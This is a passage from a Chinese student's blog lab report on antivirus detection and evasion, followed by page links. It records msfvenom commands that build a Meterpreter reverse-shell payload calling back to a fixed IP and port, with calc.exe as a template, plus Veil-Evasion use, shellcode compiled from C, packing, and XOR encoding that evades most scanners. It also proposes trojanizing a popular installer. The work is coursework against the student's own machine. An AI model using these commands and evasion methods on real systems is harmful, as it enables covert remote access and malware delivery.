20155339 Exp3 免杀原理与实践
20155339 Exp3 免杀原理与实践
基础问题
(1)杀软是如何检测出恶意代码的?
- 基于特征码的检测(杀软的特征库中包含了一些数据或者数据段,杀软会尽可能的更新这个特征库,以包括尽可能多的恶意代码,当一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码)。
- 启发式恶意软件检测(很简单,就是根据些片面特征去推断,也就是进行检测,当某个软件或者程序想干一些看起来像是恶意软件干的事情,那么机会被定义为恶意软件,检测效果比较显著,可以检测0-day恶意软件,但通常是因为缺乏精确判定依据,并且因为需要一直检测,所以开销比较大)。
- 基于行为的恶意软件检测(在启发式上加入了行为监控,基于动态的监控)。
(2)免杀是做什么?
免杀,从字面进行理解,避免被杀毒软件kill,也就是恶意代码要能够不被杀毒软件发现进入并驻足于系统。
(3)免杀的基本方法有哪些?
- 改变特征码,如:对EXE进行加壳(压缩壳、加密壳);对shellcode(像Meterpreter用encode进行编码或者基于payload重新编译生成可执行文件;源代码,用其他语言进行重写再编译(veil-evasion)。
- 改变行为,有通讯方式和操作模式两种方法。
- 通讯方式包括尽量使用反弹式连接、使用隧道技术、加密通讯数据。
- 操作模式包括基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码。
- 非常规方法
- 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
- 使用社工类攻击,诱骗目标关闭AV软件。
- 纯手工打造一个恶意软件。
实践总结与体会
基于上一次实验的基础完成了这次的实验,这两次的实验很有趣,上次的实验为了让自己完成任务或者说为了让自己开心开心,还需要假装没有杀毒软件,关闭或者在杀毒软件中把我们的后门手动添加信任,然而这次的实验,很明显,自己高端了一些,不用关闭杀软也可以攻击自己了,可是与此同时更深的恐惧也就袭来,完全太可怕了,竟然自己都能攻击得了自己,要是真正的专业人士想攻击,岂不易如反掌!除此之外,发现瑞星这个杀毒软件有点强,除此之外,发现查杀与编译的语言也貌似有些关系,用C语言编译的后门比C++编译的后门更容易被查杀,还有360查杀貌似更基于行为进行检测,而电脑管家感觉基本就是基于特征库进行查杀。
离实战还缺些什么技术或步骤?
在本次试验中,我尝试了利用Windows下的计算器程序作为可执行文件的模板来生成payload,但是事实上,并没有所少人会下载这个计算器吧。所以或许需要一个更好的比如像微信安装包这样的可执行模板并且保留其原有的功能,那应该就很厉害吧。
实践过程记录
Virscan测试后门
由于这次实验我选择的病毒扫描引擎是Virscan,所以在此先对上次实验产生的后门进行一个测试,我选择的是Virscan,还是比较好用,唯一的bug就是文件名字一旦包括数字就会说包含广告?所以需要对上次的后门重命名一次,结果直接上图吧:
的确上次试验一拷到主机就被查杀了!
使用msf编码器
在这里先贴出一些学习了的相关知识点:
一些重要的msfvenom命令行选项如下:
-p,指定需要使用的payload(攻击荷载)。如果需要使用自定义的payload,请使用'-'或者stdin指定。
-f,指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)
-e,指定需要使用的encoder(编码器)
-a,指定payload的目标架构,指定payload的目标平台
-b,设定规避字符集,比如: '\x00\xff'
-i,指定payload的编码次数
-x,指定一个自定义的可执行文件作为模板
注意:
- **生成payload,有两个必须的选项:-p -f **
- 如果你使用了-b选项(设定了规避字符集),会自动调用编码器。
msf编码训练
- 由于上次实验生成的后门非常容易被查杀,所以这次进行了一定的学习后发现使用windows下计算器程序(calc.exe)作为可执行文件的模板生成payload,想着会不会更不容易被查杀,因此进行以calc.exe为执行模板编码一次:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.224.136 LPORT=5339 -x calc.exe -f exe > met-encoded.exe
- 使用-i选项进行多次编码。因为在某些情况下,迭代编码可以起到规避杀毒软件的作用:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.224.136 LPORT=5339 -x calc.exe -f exe > met-encoded.exe
查杀率依旧很高。因为shikata_ga_nai总会有解码(decoder stub)部分需要加入的exe中,杀软只要盯住这些就可以了。
Veil-Evasion
Veil-Evasion是一个免杀平台,与Metasploit有点类似,在Kalil软件库中有,但默认没装,需要我们自己安装,只是安装过程路漫漫其修远兮~
安装完成之后,在Kali的终端输入
veil
进入Veil,输入list
。
输入
use 1
,选择Evasion。
list payloads
之后选择自己想要的语言,比如我第一次尝试的是powershell,所以键入use 21
。
设置IP这只端口,然后
generate
。
出现下图所示,其中记下生成的文件存储的路径。
可是此处可以看到我的.bat脚本生成失败。多次尝试仍是如此,发现很多同学也是,很多语言的脚本无法生成,因此再次尝试Python,同样的步骤,直到下一步。
选择1。
- 依旧出错,好像之前安装Python的时候出错了,由于安装这个实在需要太多时间,所以还是去尝试其他语言了。
- 再次以同样的步骤,选择C,终于成功。
一拷到我的windows就不行了
加入信任,放到网站上扫描下,然后开始回连,回连成功
C语言调用Shellcode
生成一个c语言格式的Shellcode数组:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.224.136 LPORT=5339 -f c
Linux平台交叉编译Windows应用:
i686-w64-mingw32-g++ met.c -o met.exe
生成met.exe。
但是拷到Windows中就会提示失败。
用VS编译生成了一个exe,放到网上扫描一下,一拖过去就被查杀了,添加信任,回连,成功。
VisualStudio
安装VisualStudio,也花费了我的很长时间,到官网下载,需要选择的没什么,只是需要网和等待,其中下图中需要进行如下选择。
在VisualStudio 2017中建项目可以参照点击此处。
对生成的shellcode进行编译,生成exe文件。
一编译就被查杀了。
扫描并回连
加壳
加壳了之后更严重了。
组合实现免杀
尝试了很多方法:
对shellcode写成的c代码加壳:
对veil选择c生成的脚本加壳,没有被电脑管家查出,但是一运行就被360kill了。
还尝试了几种没能记录,最后看修改代码,尝试对原shellcode异或0x39,然后在代码中再异或回去,因为这样就可能降低其通过特征库查杀的概率,终于可以和杀软共存实现免杀,放到virscan上也只有2%的报毒率。
20155339 Exp3 免杀原理与实践的更多相关文章
- 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...
- 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...
- 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...
- 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践
2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...
- 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...
- 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...
- 2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践 一.实验说明 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),vei ...
随机推荐
- 学习MVC之租房网站(一)-项目概况
这儿的MVC是ASP.NET MVC,只用过C#一种语言,后面就直接称呼为MVC了. 一年多没接触MVC后,现在想用MVC做个网站,觉得特别吃力,以前学的仅仅是皮毛,所以闲置了一年后,MVC知识就重新 ...
- LeetCode题解之Longest Continuous Increasing Subsequence
1.题目描述 2.问题分析 从每一个num[i]往前扫描即可. 3.代码 int findLengthOfLCIS(vector<int>& nums) { ){ return n ...
- Solving the SQL Server Multiple Cascade Path Issue with a Trigger (转载)
Problem I am trying to use the ON DELETE CASCADE option when creating a foreign key on my database, ...
- java8时间操作
import java.time.*; import java.util.Date; /** * @Auther kejiefu * @Date 2018/5/17 0017 */ public cl ...
- OverAPI.com – 史上最全的开发人员在线速查手册
不管你是多么优秀的程序员,你都不可能记住一切.在你编写程序的过程中碰到问题需要查阅手册的时候,若有现成的在线手册可参考则可以为你节省很多时间.为了方便各位朋友,我向大家推荐一个非常棒的在线手册索引网站 ...
- Hadoop 命令 && Web UI
0. 说明 Hadoop 命令合集 && Web UI 1. HDFS 命令 [1.0 启动所有 && 关闭所有进程] 相当于启动 HDFS 和 YARN # 启动所有 ...
- 怎么查看自己电脑的IP地址
1/2 使用Windows+R键打开“运行”窗口,然后输入CMD进入命令提示窗口 进入命令窗口之后,输入:ipconfig/all 回车即可看到整个电脑的详细的IP配置信息 1/3 使用网络状态查看I ...
- 转战JS(1) 初探与变量类型、运算符、常用函数与转换
转战JS(1)初探与变量类型.运算符.常用函数与转换 做为一名.NET后台开发人员,正考滤向Web前端开发转型,之前也写过一代前端代码,可是当再回头看JS,并有转向它的意愿的时候,突然发现:原来JS不 ...
- 给SVN设置代理
XP系统在C:\Documents and Settings\Administrator\Application Data\Subversion目录下 win7及以上系统在C:\Users\admin ...
- 启动android monitor报错解决办法
再这汇总一下这段时间使用android monitor新遇到的问题,特汇总对应问题解决办法如下: 1.确保JDK和Android studio位数相同,比如JDK使用的是64位,studio也要是64 ...